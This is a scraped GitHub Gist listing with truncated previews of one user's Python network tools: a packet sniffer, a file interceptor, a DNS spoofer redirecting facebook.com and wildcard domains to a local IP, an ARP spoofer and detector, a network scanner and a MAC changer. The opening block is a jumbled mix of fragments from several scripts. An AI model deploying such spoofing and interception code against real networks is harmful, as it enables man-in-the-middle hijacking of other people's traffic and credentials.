Skip to content

Instantly share code, notes, and snippets.

# importing modules
import requests
import re
import urlparse
# Input domain for crawling
url = raw_input("Enter the domain >> ")
links = []
# function for extracting links from the target website
# to check whether a packet contains the HTTP layer or not
if pkt_scapy.haslayer(scapy.Raw):
# checking if the destination port is 80, it means that the packet is leaving from our computer and going towards the http port
if pkt_scapy[scapy.TCP].dport == 80:
print("[*] This is an HTTP REQUEST ")
# checking if the source port is 80, it means this packet is leaving from the http port
elif pkt_scapy(scapy.TCP).sport == 80:
print("[*] This is an HTTP Response ")
import netfilterqueue
import scapy.all as scapy
def pkt_process(packet):
# converting the packet into a scapy packet for modification
pkt_scapy = scapy.IP(packet.get_payload())
@An4ndita
An4ndita / file interceptor.py
Last active November 11, 2020 07:24
File Interceptor Program
#!/usr/bin/env python
import netfilterqueue
import scapy.all as scapy
acknowledge_list = []
def setting_load(packet, load):
@An4ndita
An4ndita / arpspoof-detector.py
Last active September 29, 2021 00:37
Program to detect ARPSPOOF attack
import scapy.all as scapy
def mac(ipadd):
arp_request = scapy.ARP(pdst=ipadd)
br = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
arp_req_br = br / arp_request
list_1 = scapy.srp(arp_req_br, timeout=5, verbose=False)[0]
return list_1[0][1].hwsrc
def sniff(interface):
@An4ndita
An4ndita / dnspoof.py
Last active November 2, 2020 16:07
Dns spoofer program
import scapy.all as scapy
from netfilterqueue import NetfilterQueue
import os
hosts = {
b"www.*.": "10.0.2.15",
b"*.com": "10.0.2.15",
b"facebook.com.": "10.0.2.15"
}
def pkt_process(packet):
scapy_packet = scapy.IP(packet.get_payload())
@An4ndita
An4ndita / netdis.py
Created October 29, 2020 08:14
Program for scanning the network
#importing modules
import scapy.all as scapy
import argparse
#function for parsing
def parsing():
parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target", dest="target", help="Target IP / Range of IP")
option1 = parser.parse_args()
@An4ndita
An4ndita / arpspoof.py
Created October 29, 2020 05:38
ARP spoofer
import scapy.all as scapy
import time
def mac(ip):
arp_request = scapy.ARP(pdst=ip)
br = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
arp_req_br = br / arp_request
list_1 = scapy.srp(arp_req_br, timeout=5, verbose=False)[0]
return list_1[0][1].hwsrc
@An4ndita
An4ndita / macchanger.py
Created October 27, 2020 02:55
Program to change mac
#!/usr/bin/env python
#importing modules
import subprocess
import optparse
import re
#function for handling user input(arguments)
def getting_arguments():
parser = optparse.OptionParser()